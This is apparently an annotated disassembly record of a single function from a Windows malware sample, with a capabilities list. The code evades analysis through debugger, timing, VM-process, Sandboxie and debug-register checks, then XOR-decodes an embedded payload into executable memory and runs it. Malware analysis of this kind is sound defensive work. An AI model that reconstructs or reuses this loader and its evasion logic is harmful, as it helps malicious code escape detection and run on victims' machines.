Function at 0x140001070
Capabilities:
Check for sandbox and av modules
Encode data using xor
Enumerate process modules

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push r14
push r15
lea rbp, [rsp - 0x2340]
mov eax, 0x2440
call fcn.1400023b0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2330], rax
lea rcx, [rbp + 0x1430]
mov r8d, 0xef4
lea rdx, [0x1400034a0]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [str.fxokk]
mov r14, 0xffffffffffffffff
mov dword [rsp + 0x20], eax
movzx eax, word [0x140003464]
mov word [rsp + 0x24], ax
lea rax, [rsp + 0x20]
nop dword [rax + rax]
inc r14
cmp byte [rax + r14], 0
jne 0x1400010e0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xor r15d, r15d
mov ebx, r15d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
inc rbx
cmp rbx, 0x64
jl 0x140001100
mov qword [rsp + 0x2460], rsi
mov qword [rsp + 0x2468], rdi
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
mov ecx, 0x1388
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
movsd xmm0, qword [0x140003490]
sub eax, ebx
movd xmm1, eax
mov eax, r15d
cvtdq2pd xmm1, xmm1
divsd xmm1, qword [0x140003498]
comisd xmm0, xmm1
seta al
test eax, eax
jne 0x14000146f
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x14000146f
lea rax, str.vmware.exe
mov edx, 0x1000
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x58]
lea rax, str.vboxservice.exe
mov qword [rsp + 0x30], rax
lea rcx, [rbp + 0x430]
lea rax, str.vboxtray.exe
mov qword [rsp + 0x38], rax
lea rax, str.vmtoolsd.exe
mov qword [rsp + 0x40], rax
lea rax, str.vmwaretray.exe
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x1400012a6
mov eax, dword [rsp + 0x58]
mov esi, r15d
shr eax, 2
mov dword [rsp + 0x58], eax
test eax, eax
je 0x1400012a6
mov eax, esi
mov ebx, dword [rbp + rax*4 + 0x430]
test ebx, ebx
je 0x14000129a
movups xmm0, xmmword [str._unknown_]
mov eax, dword [0x140003388]
lea rcx, [rsp + 0x74]
xor edx, edx
mov dword [rsp + 0x70], eax
mov r8d, 0x1f4
movaps xmmword [rsp + 0x60], xmm0
call sub.VCRUNTIME140.dll_memset
mov r8d, ebx
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x14000129a
lea r9, [rsp + 0x5c]
mov r8d, 8
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x14000126a
mov rdx, qword [rsp + 0x50]
lea r8, [rsp + 0x60]
mov r9d, 0x104
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
mov rbx, r15
nop dword [rax]
mov rcx, qword [rsp + rbx*8 + 0x28]
lea rdx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x140001466
inc rbx
cmp rbx, 5
jb 0x140001270
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [rsp + 0x58]
jb 0x1400011e3
lea rcx, str.SbieDll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
jne 0x14000146f
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov dword [rbp - 0x70], 0x100010
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140001329
cmp qword [rbp - 0x58], r15
jne 0x14000146f
cmp qword [rbp - 0x50], r15
jne 0x14000146f
cmp qword [rbp - 0x48], r15
jne 0x14000146f
cmp qword [rbp - 0x40], r15
jne 0x14000146f
cmp qword [rbp - 0x38], r15
jne 0x14000146f
cmp qword [rbp - 0x30], r15
jne 0x14000146f
lea rax, [rbp + 0x1430]
mov r8d, 1
sub r8, rax
mov r10d, 2
lea rax, [rbp + 0x1430]
mov r11d, 3
sub r10, rax
mov ebx, 4
lea rax, [rbp + 0x1430]
mov edi, 5
sub r11, rax
mov r9, r15
lea rax, [rbp + 0x1430]
sub rbx, rax
lea rax, [rbp + 0x1430]
sub rdi, rax
nop word [rax + rax]
xor edx, edx
lea rcx, [rbp + 0x1430]
add rcx, r9
mov rax, r9
div r14
add r9, 6
movzx eax, byte [rsp + rdx + 0x20]
xor edx, edx
xor byte [rcx], al
lea rax, [rcx + r8]
div r14
movzx eax, byte [rsp + rdx + 0x20]
xor edx, edx
xor byte [rcx + 1], al
lea rax, [rcx + r10]
div r14
movzx eax, byte [rsp + rdx + 0x20]
xor edx, edx
xor byte [rcx + 2], al
lea rax, [rcx + r11]
div r14
movzx eax, byte [rsp + rdx + 0x20]
xor edx, edx
xor byte [rcx + 3], al
lea rax, [rcx + rbx]
div r14
movzx eax, byte [rsp + rdx + 0x20]
xor edx, edx
xor byte [rcx + 4], al
lea rax, [rcx + rdi]
div r14
movzx eax, byte [rsp + rdx + 0x20]
xor byte [rcx + 5], al
cmp r9, 0xef4
jb 0x140001380
mov dword [rsp + 0x58], r15d
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rsp + 0x58]
mov edx, r8d
imul edx, r8d
inc r8d
add edx, eax
mov dword [rsp + 0x58], edx
cmp r8d, 0x2710
jl 0x140001410
mov eax, dword [rsp + 0x58]
cmp eax, 0xdeadbeef
jne 0x140001444
lea rcx, str.Obfuscation_routine_triggered_n
call fcn.140001010
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x1400014b4
mov rbx, r15
jmp 0x1400014c7
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Environment_checks_failed__exiting._n
call fcn.140001010
mov eax, 1
mov rdi, qword [rsp + 0x2468]
mov rsi, qword [rsp + 0x2460]
mov rcx, qword [rbp + 0x2330]
xor rcx, rsp
call fcn.1400015b0
mov rbx, qword [rsp + 0x2470]
add rsp, 0x2440
pop r15
pop r14
pop rbp
ret
lea rdx, str.VirtualAlloc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x1400014de
mov rdi, r15
jmp 0x1400014f1
lea rdx, str.VirtualFree
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140001516
lea rdx, str.RtlMoveMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rbx, rbx
je 0x140001580
test rdi, rdi
je 0x140001580
test r15, r15
je 0x140001580
mov edx, 0xef4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call rbx
mov rbx, rax
test rax, rax
jne 0x140001555
lea rcx, str.Failed_to_allocate_memory._n
call fcn.140001010
xor eax, eax
jmp 0x140001480
mov rcx, rbx
lea rdx, [rbp + 0x1430]
mov r8d, 0xef4
call sub.VCRUNTIME140.dll_memcpy
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call rdi
xor eax, eax
jmp 0x140001480
lea rcx, str.Failed_to_resolve_necessary_functions._n
call fcn.140001010
xor eax, eax
jmp 0x140001480